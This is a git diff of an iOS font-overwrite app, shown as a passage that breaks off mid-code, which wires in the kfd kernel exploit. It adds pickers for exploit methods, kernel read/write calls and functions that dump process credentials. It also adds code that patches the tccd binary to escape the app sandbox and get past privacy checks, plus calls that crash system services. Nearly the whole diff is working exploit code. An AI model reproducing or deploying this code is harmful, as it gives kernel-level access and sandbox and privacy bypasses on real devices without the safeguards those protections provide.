SWIFT_PRECOMPILE_BRIDGING_HEADER = NO; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; @@ -511,6 +645,25 @@ defaultConfigurationName = Release; }; /* End XCConfigurationList section */ + +/* Begin XCRemoteSwiftPackageReference section */ + C82854132A781CDD0050E059 /* XCRemoteSwiftPackageReference "Dynamic" */ = { + isa = XCRemoteSwiftPackageReference; + repositoryURL = "https://github.com/mhdhejazi/Dynamic"; + requirement = { + kind = upToNextMajorVersion; + minimumVersion = 1.0.0; + }; + }; +/* End XCRemoteSwiftPackageReference section */ + +/* Begin XCSwiftPackageProductDependency section */ + C82854142A781CDD0050E059 /* Dynamic */ = { + isa = XCSwiftPackageProductDependency; + package = C82854132A781CDD0050E059 /* XCRemoteSwiftPackageReference "Dynamic" */; + productName = Dynamic; + }; +/* End XCSwiftPackageProductDependency section */ }; rootObject = C5C9A7872959261000466D87 /* Project object */; } diff --git a/WDBFontOverwrite.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved b/WDBFontOverwrite.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved new file mode 100644 index 0000000..4cb2f9d --- /dev/null +++ b/WDBFontOverwrite.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved @@ -0,0 +1,14 @@ +{ + "pins" : [ + { + "identity" : "dynamic", + "kind" : "remoteSourceControl", + "location" : "https://github.com/mhdhejazi/Dynamic", + "state" : { + "revision" : "ab9a2570862d54aed2663691bb767f881226a12f", + "version" : "1.2.0" + } + } + ], + "version" : 2 +} diff --git a/WDBFontOverwrite/Info.plist b/WDBFontOverwrite/Info.plist index d936af0..fc0d420 100644 --- a/WDBFontOverwrite/Info.plist +++ b/WDBFontOverwrite/Info.plist @@ -42,7 +42,5 @@ - NSAppleMusicUsageDescription - WDBFontOverwrite diff --git a/WDBFontOverwrite/MainInterface/ActionButtons.ViewModel.swift b/WDBFontOverwrite/MainInterface/ActionButtons.ViewModel.swift index 8a3520d..5e11b3a 100644 --- a/WDBFontOverwrite/MainInterface/ActionButtons.ViewModel.swift +++ b/WDBFontOverwrite/MainInterface/ActionButtons.ViewModel.swift @@ -25,14 +25,17 @@ extension ActionButtons { if error != nil { print("can't get disk access, using backup respring") respringLegacy() + xpc_crasher(UnsafeMutablePointer(mutating: "com.apple.backboard.TouchDeliveryPolicyServer")) } else { xpc_crasher(UnsafeMutablePointer(mutating: "com.apple.frontboard.systemappservices")) + xpc_crasher(UnsafeMutablePointer(mutating: "com.apple.backboard.TouchDeliveryPolicyServer")) } } } @available(iOS, deprecated: 15) func respringLegacy() { + xpc_crasher(UnsafeMutablePointer(mutating: "com.apple.backboard.TouchDeliveryPolicyServer")) let sharedApplication = UIApplication.shared let windows = sharedApplication.windows if let window = windows.first { diff --git a/WDBFontOverwrite/MainInterface/CustomFontsScene.swift b/WDBFontOverwrite/MainInterface/CustomFontsScene.swift index f53a265..47de2b0 100644 --- a/WDBFontOverwrite/MainInterface/CustomFontsScene.swift +++ b/WDBFontOverwrite/MainInterface/CustomFontsScene.swift @@ -12,11 +12,71 @@ struct CustomFontsScene: View { @StateObject private var viewModel = ViewModel() @EnvironmentObject var progressManager: ProgressManager @Environment(\.openURL) private var openURL + @State private var kfd: UInt64 = 0 + + private var puaf_pages_options = [16, 32, 64, 128, 256, 512, 1024, 2048] + @State private var puaf_pages_index = 7 + @State private var puaf_pages = 0 + + private var puaf_method_options = ["physpuppet", "smith"] + @State private var puaf_method = 1 + + private var kread_method_options = ["kqueue_workloop_ctl", "sem_open"] + @State private var kread_method = 1 + + private var kwrite_method_options = ["dup", "sem_open"] + @State private var kwrite_method = 1 var body: some View { NavigationView { VStack(spacing: 10) { Form { + Section { + Picker(selection: $puaf_pages_index, label: Text("puaf pages:")) { + ForEach(0 ..< puaf_pages_options.count, id: \.self) { + Text(String(self.puaf_pages_options[$0])) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $puaf_method, label: Text("puaf method:")) { + ForEach(0 ..< puaf_method_options.count, id: \.self) { + Text(self.puaf_method_options[$0]) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $kread_method, label: Text("kread method:")) { + ForEach(0 ..< kread_method_options.count, id: \.self) { + Text(self.kread_method_options[$0]) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $kwrite_method, label: Text("kwrite method:")) { + ForEach(0 ..< kwrite_method_options.count, id: \.self) { + Text(self.kwrite_method_options[$0]) + } + }.disabled(kfd != 0) + } + Section { + HStack { + Button("kopen") { + puaf_pages = puaf_pages_options[puaf_pages_index] + kfd = do_kopen(UInt64(puaf_pages), UInt64(puaf_method), UInt64(kread_method), UInt64(kwrite_method)) + do_fun() + }.disabled(kfd != 0).frame(minWidth: 0, maxWidth: .infinity) + Button("kclose") { + do_kclose(kfd) + puaf_pages = 0 + kfd = 0 + }.disabled(kfd == 0).frame(minWidth: 0, maxWidth: .infinity) + Button("respring") { + // restartBackboard() + restartFrontboard() + // restartFrontboard() + }.disabled(kfd == 0).frame(minWidth: 0, maxWidth: 100) + }} Section { ExplanationView( systemImage: "textformat", diff --git a/WDBFontOverwrite/MainInterface/PresetFontsScene.swift b/WDBFontOverwrite/MainInterface/PresetFontsScene.swift index 2aef7d1..dd213f6 100644 --- a/WDBFontOverwrite/MainInterface/PresetFontsScene.swift +++ b/WDBFontOverwrite/MainInterface/PresetFontsScene.swift @@ -10,27 +10,87 @@ import SwiftUI struct PresetFontsScene: View { @EnvironmentObject private var progressManager: ProgressManager private let viewModel = ViewModel() - + @State private var kfd: UInt64 = 0 + + private var puaf_pages_options = [16, 32, 64, 128, 256, 512, 1024, 2048] + @State private var puaf_pages_index = 7 + @State private var puaf_pages = 0 + + private var puaf_method_options = ["physpuppet", "smith"] + @State private var puaf_method = 1 + + private var kread_method_options = ["kqueue_workloop_ctl", "sem_open"] + @State private var kread_method = 1 + + private var kwrite_method_options = ["dup", "sem_open"] + @State private var kwrite_method = 1 + var body: some View { NavigationView { Form { Section { - ExplanationView( - systemImage: "textformat", - description: "Choose from a selection of preset fonts.", - canShowProgress: true - ) + Picker(selection: $puaf_pages_index, label: Text("puaf pages:")) { + ForEach(0 ..< puaf_pages_options.count, id: \.self) { + Text(String(self.puaf_pages_options[$0])) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $puaf_method, label: Text("puaf method:")) { + ForEach(0 ..< puaf_method_options.count, id: \.self) { + Text(self.puaf_method_options[$0]) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $kread_method, label: Text("kread method:")) { + ForEach(0 ..< kread_method_options.count, id: \.self) { + Text(self.kread_method_options[$0]) + } + }.disabled(kfd != 0) + } + Section { + Picker(selection: $kwrite_method, label: Text("kwrite method:")) { + ForEach(0 ..< kwrite_method_options.count, id: \.self) { + Text(self.kwrite_method_options[$0]) + } + }.disabled(kfd != 0) } - .listRowBackground(Color(UIColor(red: 0.44, green: 0.69, blue: 0.67, alpha: 1.00))) - fontsSection - actionSection + Section { + HStack { + Button("kopen") { + puaf_pages = puaf_pages_options[puaf_pages_index] + kfd = do_kopen(UInt64(puaf_pages), UInt64(puaf_method), UInt64(kread_method), UInt64(kwrite_method)) + do_fun() + }.disabled(kfd != 0).frame(minWidth: 0, maxWidth: .infinity) + Button("kclose") { + do_kclose(kfd) + puaf_pages = 0 + kfd = 0 + }.disabled(kfd == 0).frame(minWidth: 0, maxWidth: .infinity) + Button("respring") { +// restartBackboard() + restartFrontboard() +// restartFrontboard() + }.disabled(kfd == 0).frame(minWidth: 0, maxWidth: 100) + } + Section { + ExplanationView( + systemImage: "textformat", + description: "Choose from a selection of preset fonts.", + canShowProgress: true + ) + } + .listRowBackground(Color(UIColor(red: 0.44, green: 0.69, blue: 0.67, alpha: 1.00))) + fontsSection + actionSection + } + .navigationTitle("Presets") } - .navigationTitle("Presets") + .navigationViewStyle(.stack) } - .navigationViewStyle(.stack) } } - private extension PresetFontsScene { var fontsSection: some View { Section { @@ -60,7 +120,7 @@ private extension PresetFontsScene { } header: { Text("Actions") } footer: { - Text("Originally created by [@zhuowei](https://twitter.com/zhuowei). Updated & maintained by [@GinsuDev](https://twitter.com/GinsuDev).") + Text("Originally created by [@zhuowei](https://twitter.com/zhuowei). KFD fork by [@htrowii](https://twitter.com/htrowii). Updated & maintained by [@GinsuDev](https://twitter.com/GinsuDev).") } } } diff --git a/WDBFontOverwrite/OverwriteFontImpl.swift b/WDBFontOverwrite/OverwriteFontImpl.swift index 031ebde..96cf93d 100644 --- a/WDBFontOverwrite/OverwriteFontImpl.swift +++ b/WDBFontOverwrite/OverwriteFontImpl.swift @@ -7,6 +7,24 @@ import UIKit import UniformTypeIdentifiers +import Dynamic +var connection: NSXPCConnection? + +func removeIconCache() { + print("removing icon cache") + if connection == nil { + let myCookieInterface = NSXPCInterface(with: ISIconCacheServiceProtocol.self) + connection = Dynamic.NSXPCConnection(machServiceName: "com.apple.iconservices", options: []).asObject as? NSXPCConnection + connection!.remoteObjectInterface = myCookieInterface + connection!.resume() + print("Connection: \(connection!)") + } + + (connection!.remoteObjectProxy as AnyObject).clearCachedItems(forBundeID: nil) { (a: Any, b: Any) in // passing nil to remove all icon cache + print("Successfully responded (\(a), \(b ?? "(null)"))") + } +} + func overwriteWithFont(name: String) async { let fontURL = Bundle.main.url( @@ -39,6 +57,7 @@ func overwriteWithFontImpl( pathToTargetFont: String ) { var fontData: Data = try! Data(contentsOf: fontURL) + #if false let documentDirectory = FileManager.default.urls( for: .documentDirectory, @@ -50,81 +69,21 @@ func overwriteWithFontImpl( let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTargetFont)) try! origData.write(to: URL(fileURLWithPath: pathToTargetFont)) #endif - - // open and map original font - let fd = open(pathToTargetFont, O_RDONLY | O_CLOEXEC) - if fd == -1 { - sendImportMessage(.failure("Unable to open font.")) - return - } - defer { close(fd) } - // check size of font - let originalFontSize = lseek(fd, 0, SEEK_END) - guard originalFontSize >= fontData.count else { - sendImportMessage(.failure("Font too big.")) - return - } - lseek(fd, 0, SEEK_SET) - - if fontData[0..<4] == Data([0x77, 0x4f, 0x46, 0x32]) { - // if this is a woff2 (and not a ttc) - // patch our font with the padding - // https://www.w3.org/TR/WOFF2/#woff20Header - // length - withUnsafeBytes(of: UInt32(originalFontSize).bigEndian) { - fontData.replaceSubrange(0x8..<0x8 + 4, with: $0) - } - // privOffset - withUnsafeBytes(of: UInt32(fontData.count).bigEndian) { - fontData.replaceSubrange(0x28..<0x28 + 4, with: $0) + let cPathtoTargetFont = pathToTargetFont.withCString { ptr in + return strdup(ptr) } - // privLength - withUnsafeBytes(of: UInt32(Int(originalFontSize) - fontData.count).bigEndian) { - fontData.replaceSubrange(0x2c..<0x2c + 4, with: $0) - } - } + let mutablecPathtoTargetFont = UnsafeMutablePointer(mutating: cPathtoTargetFont) - // Map the font we want to overwrite so we can mlock it - let fontMap = mmap(nil, fontData.count, PROT_READ, MAP_SHARED, fd, 0) - if fontMap == MAP_FAILED { - sendImportMessage(.failure("Map failed")) - return - } - // mlock so the file gets cached in memory - guard mlock(fontMap, fontData.count) == 0 else { - sendImportMessage(.failure("Can't mlock")) - return - } - - updateProgress(total: true, progress: Double(fontData.count)) - - // for every 16k chunk, rewrite - print(Date()) - for chunkOff in stride(from: 0, to: fontData.count, by: 0x4000) { - print(String(format: "%lx", chunkOff)) - if chunkOff % 0x40000 == 0 { - updateProgress(total: false, progress: Double(chunkOff)) + let cFontURL = fontURL.path.withCString { ptr in + return strdup(ptr) } - let dataChunk = fontData[chunkOff..(mutating: cFontURL) + + funVnodeOverwrite2(cPathtoTargetFont, mutablecFontURL) // the magic is here + updateProgress(total: false, progress: Double(fontData.count)) sendImportMessage(.success) + removeIconCache() print(Date()) } @@ -202,3 +161,4 @@ func importCustomFontImpl( try! FileManager.default.copyItem(at: fileURL, to: targetURL) return nil } + diff --git a/WDBFontOverwrite/Progress/ProgressManager.swift b/WDBFontOverwrite/ProgressManager.swift similarity index 100% rename from WDBFontOverwrite/Progress/ProgressManager.swift rename to WDBFontOverwrite/ProgressManager.swift diff --git a/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h b/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h index 9ad9ead..be19a76 100644 --- a/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h +++ b/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h @@ -1,4 +1,8 @@ -#import "vm_unaligned_copy_switch_race.h" #import "_UIKeyboardCache.h" -#import "helpers.h" -#import "grant_full_disk_access.h" +#import "fun/helpers.h" +#import "fun/fun.h" +#import "fun/grant_full_disk_access.h" +#import "fun/krw.h" +#import "fun/thanks_opa334dev_htrowii.h" +#import "uicache/ISIconCacheServiceProtocol-Protocol.h" + diff --git a/WDBFontOverwrite/fun/fun.h b/WDBFontOverwrite/fun/fun.h new file mode 100644 index 0000000..9daab7c --- /dev/null +++ b/WDBFontOverwrite/fun/fun.h @@ -0,0 +1,21 @@ +// +// fun.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/25. +// + +#ifndef fun_h +#define fun_h + +#include +#include +#include + +int do_fun(void); + +#pragma once + +//bool overwrite_file(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); + +#endif /* fun_h */ diff --git a/WDBFontOverwrite/fun/fun.m b/WDBFontOverwrite/fun/fun.m new file mode 100644 index 0000000..90e5f5f --- /dev/null +++ b/WDBFontOverwrite/fun/fun.m @@ -0,0 +1,184 @@ +// +// fun.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/25. +// + +#include "krw.h" +#include "offsets.h" +#include +#import +#import +#import +#include +#include +#include +#include +#include +#include "proc.h" +#include "vnode.h" +#include "grant_full_disk_access.h" +#include "thanks_opa334dev_htrowii.h" + + +int funUcred(uint64_t proc) { + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + uint64_t ucreds = kread64(proc_ro + off_p_ro_p_ucred); + + uint64_t cr_label_pac = kread64(ucreds + off_u_cr_label); + uint64_t cr_label = cr_label_pac | 0xffffff8000000000; + printf("[i] self ucred->cr_label: 0x%llx\n", cr_label); +// +// printf("[i] self ucred->cr_label+0x8+0x0: 0x%llx\n", kread64(kread64(cr_label+0x8))); +// printf("[i] self ucred->cr_label+0x8+0x0+0x0: 0x%llx\n", kread64(kread64(kread64(cr_label+0x8)))); +// printf("[i] self ucred->cr_label+0x10: 0x%llx\n", kread64(cr_label+0x10)); +// uint64_t OSEntitlements = kread64(cr_label+0x10); +// printf("OSEntitlements: 0x%llx\n", OSEntitlements); +// uint64_t CEQueryContext = OSEntitlements + 0x28; +// uint64_t der_start = kread64(CEQueryContext + 0x20); +// uint64_t der_end = kread64(CEQueryContext + 0x28); +// for(int i = 0; i < 100; i++) { +// printf("OSEntitlements+0x%x: 0x%llx\n", i*8, kread64(OSEntitlements + i * 8)); +// } +// kwrite64(kread64(OSEntitlements), 0); +// kwrite64(kread64(OSEntitlements + 8), 0); +// kwrite64(kread64(OSEntitlements + 0x10), 0); +// kwrite64(kread64(OSEntitlements + 0x20), 0); + + uint64_t cr_posix_p = ucreds + off_u_cr_posix; + printf("[i] self ucred->posix_cred->cr_uid: %u\n", kread32(cr_posix_p + off_cr_uid)); + printf("[i] self ucred->posix_cred->cr_ruid: %u\n", kread32(cr_posix_p + off_cr_ruid)); + printf("[i] self ucred->posix_cred->cr_svuid: %u\n", kread32(cr_posix_p + off_cr_svuid)); + printf("[i] self ucred->posix_cred->cr_ngroups: %u\n", kread32(cr_posix_p + off_cr_ngroups)); + printf("[i] self ucred->posix_cred->cr_groups: %u\n", kread32(cr_posix_p + off_cr_groups)); + printf("[i] self ucred->posix_cred->cr_rgid: %u\n", kread32(cr_posix_p + off_cr_rgid)); + printf("[i] self ucred->posix_cred->cr_svgid: %u\n", kread32(cr_posix_p + off_cr_svgid)); + printf("[i] self ucred->posix_cred->cr_gmuid: %u\n", kread32(cr_posix_p + off_cr_gmuid)); + printf("[i] self ucred->posix_cred->cr_flags: %u\n", kread32(cr_posix_p + off_cr_flags)); + + return 0; +} + + +int funCSFlags(char* process) { + uint64_t pid = getPidByName(process); + uint64_t proc = getProc(pid); + + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + uint32_t csflags = kread32(proc_ro + off_p_ro_p_csflags); + printf("[i] %s proc->proc_ro->p_csflags: 0x%x\n", process, csflags); + +#define TF_PLATFORM 0x400 + +#define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ +#define CS_INSTALLER 0x0000008 /* has installer entitlement */ + +#define CS_HARD 0x0000100 /* don't load invalid pages */ +#define CS_KILL 0x0000200 /* kill process if it becomes invalid */ +#define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ + +#define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ + +#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ + +// csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL); +// sleep(3); +// kwrite32(proc_ro + off_p_ro_p_csflags, csflags); + + return 0; +} + +int funTask(char* process) { + uint64_t pid = getPidByName(process); + uint64_t proc = getProc(pid); + printf("[i] %s proc: 0x%llx\n", process, proc); + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + + uint64_t pr_proc = kread64(proc_ro + off_p_ro_pr_proc); + printf("[i] %s proc->proc_ro->pr_proc: 0x%llx\n", process, pr_proc); + + uint64_t pr_task = kread64(proc_ro + off_p_ro_pr_task); + printf("[i] %s proc->proc_ro->pr_task: 0x%llx\n", process, pr_task); + + //proc_is64bit_data+0x18: LDR W8, [X8,#0x3D0] + uint32_t t_flags = kread32(pr_task + off_task_t_flags); + printf("[i] %s task->t_flags: 0x%x\n", process, t_flags); + + + /* + * RO-protected flags: + */ + #define TFRO_PLATFORM 0x00000400 /* task is a platform binary */ + #define TFRO_FILTER_MSG 0x00004000 /* task calls into message filter callback before sending a message */ + #define TFRO_PAC_EXC_FATAL 0x00010000 /* task is marked a corpse if a PAC exception occurs */ + #define TFRO_PAC_ENFORCE_USER_STATE 0x01000000 /* Enforce user and kernel signed thread state */ + + uint32_t t_flags_ro = kread64(proc_ro + off_p_ro_t_flags_ro); + printf("[i] %s proc->proc_ro->t_flags_ro: 0x%x\n", process, t_flags_ro); + + return 0; +} + +uint64_t fun_ipc_entry_lookup(mach_port_name_t port_name) { + uint64_t proc = getProc(getpid()); + uint64_t proc_ro = kread64(proc + off_p_proc_ro); + + uint64_t pr_proc = kread64(proc_ro + off_p_ro_pr_proc); + printf("[i] self proc->proc_ro->pr_proc: 0x%llx\n", pr_proc); + + uint64_t pr_task = kread64(proc_ro + off_p_ro_pr_task); + printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task); + + uint64_t itk_space_pac = kread64(pr_task + 0x300); + uint64_t itk_space = itk_space_pac | 0xffffff8000000000; + printf("[i] self task->itk_space: 0x%llx\n", itk_space); + //NEED TO FIGURE OUT SMR POINTER!!! + +// uint32_t table_size = kread32(itk_space + 0x14); +// printf("[i] self task->itk_space table_size: 0x%x\n", table_size); +// uint32_t port_index = MACH_PORT_INDEX(port_name); +// if (port_index >= table_size) { +// printf("[!] invalid port name: 0x%x", port_name); +// return -1; +// } +// +// uint64_t is_table_pac = kread64(itk_space + 0x20); +// uint64_t is_table = is_table_pac | 0xffffff8000000000; +// printf("[i] self task->itk_space->is_table: 0x%llx\n", is_table); +// printf("[i] self task->itk_space->is_table read: 0x%llx\n", kread64(is_table)); +// +// const int sizeof_ipc_entry_t = 0x18; +// uint64_t ipc_entry = is_table + sizeof_ipc_entry_t * port_index; +// printf("[i] self task->itk_space->is_table->ipc_entry: 0x%llx\n", ipc_entry); +// +// uint64_t ie_object = kread64(ipc_entry + 0x0); +// printf("[i] self task->itk_space->is_table->ipc_entry->ie_object: 0x%llx\n", ie_object); +// +// sleep(1); + + + + return 0; +} + +int do_fun(void) { + + _offsets_init(); + + uint64_t kslide = get_kslide(); + uint64_t kbase = 0xfffffff007004000 + kslide; + printf("[i] Kernel base: 0x%llx\n", kbase); + printf("[i] Kernel slide: 0x%llx\n", kslide); + uint64_t kheader64 = kread64(kbase); + printf("[i] Kernel base kread64 ret: 0x%llx\n", kheader64); + + pid_t myPid = getpid(); + uint64_t selfProc = getProc(myPid); + printf("[i] self proc: 0x%llx\n", selfProc); + + funUcred(selfProc); + funProc(selfProc); + + return 0; +} diff --git a/WDBFontOverwrite/fun/grant_full_disk_access.h b/WDBFontOverwrite/fun/grant_full_disk_access.h new file mode 100644 index 0000000..31a99b9 --- /dev/null +++ b/WDBFontOverwrite/fun/grant_full_disk_access.h @@ -0,0 +1,5 @@ +#import + +/// Uses kfd exploit to grant the current app read/write access outside the sandbox. +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); diff --git a/WDBFontOverwrite/fun/grant_full_disk_access.m b/WDBFontOverwrite/fun/grant_full_disk_access.m new file mode 100644 index 0000000..73f5213 --- /dev/null +++ b/WDBFontOverwrite/fun/grant_full_disk_access.m @@ -0,0 +1,624 @@ +#import +#import +#import +#import + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" +#import "helpers.h" +#import "vnode.h" +#import "thanks_opa334dev_htrowii.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct 